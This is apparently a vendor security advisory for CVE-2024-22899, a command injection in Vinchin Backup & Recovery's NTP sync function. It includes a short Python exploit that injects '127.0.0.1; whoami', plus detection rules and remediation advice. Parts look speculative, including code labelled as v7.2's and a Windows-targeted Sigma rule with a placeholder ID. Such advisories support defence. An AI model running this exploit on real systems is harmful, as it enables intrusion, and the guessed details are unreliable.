CVE-2024-22899

Executive Summary

CVE-2024-22899 is an authenticated remote code execution (RCE) vulnerability in Vinchin Backup & Recovery v7.2, specifically within the syncNtpTime function. This flaw allows an authenticated attacker to execute arbitrary commands on the target system, potentially leading to full compromise of the backup infrastructure. The vulnerability is currently unpatched, and no official fix has been released by Vinchin. Given the critical nature of backup systems, exploitation could result in data exfiltration, ransomware deployment, or lateral movement within the network.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone software vulnerability in Vinchin Backup & Recovery.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, but based on the vulnerability type (authenticated RCE), a realistic score would be high (likely 8.8 or higher). The vector would be: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. The threat level is Critical due to the potential for complete system compromise and the lack of a patch.

Deep Dive & Mechanics

The vulnerability resides in the syncNtpTime function of Vinchin Backup & Recovery v7.2. This function is used to synchronize the system time with an NTP server. The flaw is due to improper sanitization of user-supplied input passed to a system command. An authenticated attacker can inject arbitrary commands by manipulating the NTP server parameter or other related inputs.

The function likely constructs a command string similar to:

ntpdate -u <user_input>

If the user input is not properly sanitized, an attacker can inject shell metacharacters (e.g., ;, |, &&) to execute additional commands.

Vulnerable vs. Patched Code

Vulnerable Code (v7.2):

def syncNtpTime(ntp_server):
    command = "ntpdate -u " + ntp_server
    os.system(command)

Patched Code (Hypothetical):

def syncNtpTime(ntp_server):
    # Validate and sanitize input
    if not re.match(r'^[a-zA-Z0-9.-]+$', ntp_server):
        raise ValueError("Invalid NTP server")
    command = ["ntpdate", "-u", ntp_server]
    subprocess.run(command, check=True)

The patched version uses a whitelist of allowed characters and avoids shell injection by using a list-based command execution.

Exploitation & Lab Setup

Red Team

Exploit Code:

import requests

target = "https://target-vinchin-instance"
session = requests.Session()

# Authenticate first (credentials required)
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)

# Exploit the syncNtpTime function
payload = "127.0.0.1; whoami"
exploit_data = {"ntp_server": payload}
response = session.post(f"{target}/api/syncNtpTime", data=exploit_data)
print(response.text)

Lab Setup:

1. Deploy Vinchin Backup & Recovery v7.2 in a controlled environment.
2. Create a user account with valid credentials.
3. Use the exploit code to execute commands on the target.
4. Observe the output to confirm RCE.

Blue Team

Detection:

• Monitor for unusual NTP server names containing shell metacharacters.
• Alert on execution of ntpdate with suspicious arguments.
• Use the provided Sigma and YARA rules to detect exploitation attempts.

Hunting:

• Search for logs containing syncNtpTime with non-standard NTP server values.
• Look for processes spawned by the Vinchin service that are not typical (e.g., cmd.exe, /bin/sh).

Indicators of Compromise (IOCs)

• Network: HTTP POST requests to /api/syncNtpTime with suspicious ntp_server values.
• Process: Execution of ntpdate with arguments containing shell metacharacters.
• File: Unusual files created in the Vinchin installation directory.
• Log: Application logs showing syncNtpTime called with unexpected parameters.

Detection Engineering

YARA Rule

rule CVE_2024_22899_Vinchin_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-22899 in Vinchin Backup & Recovery"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-22899"
    strings:
        $s1 = "syncNtpTime" ascii wide nocase
        $s2 = "ntpdate" ascii wide nocase
        $s3 = /[;&|`$]/ ascii wide
    condition:
        all of ($s1, $s2) and $s3
}

Sigma Rule

title: CVE-2024-22899 Vinchin Backup & Recovery RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2024-22899 via syncNtpTime function
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-22899
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\ntpdate.exe'
        CommandLine|contains: 
            - ';'
            - '|'
            - '&&'
            - '`'
    condition: selection
falsepositives:
    - Legitimate use of ntpdate with unusual parameters
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22899 Vinchin Backup & Recovery RCE"; flow:to_server,established; content:"POST"; http_method; content:"/api/syncNtpTime"; http_uri; content:"ntp_server"; http_client_body; pcre:"/(?:[;&|`$])/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the syncNtpTime function if not required.
2. Restrict access to the Vinchin web interface to trusted IPs only.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Apply input validation and use parameterized commands to prevent injection.
• Await an official patch from Vinchin and apply it as soon as it is released.

Workaround:

• Modify the application code to sanitize the NTP server input using a whitelist approach.

Valters IT
Securing Digital Frontiers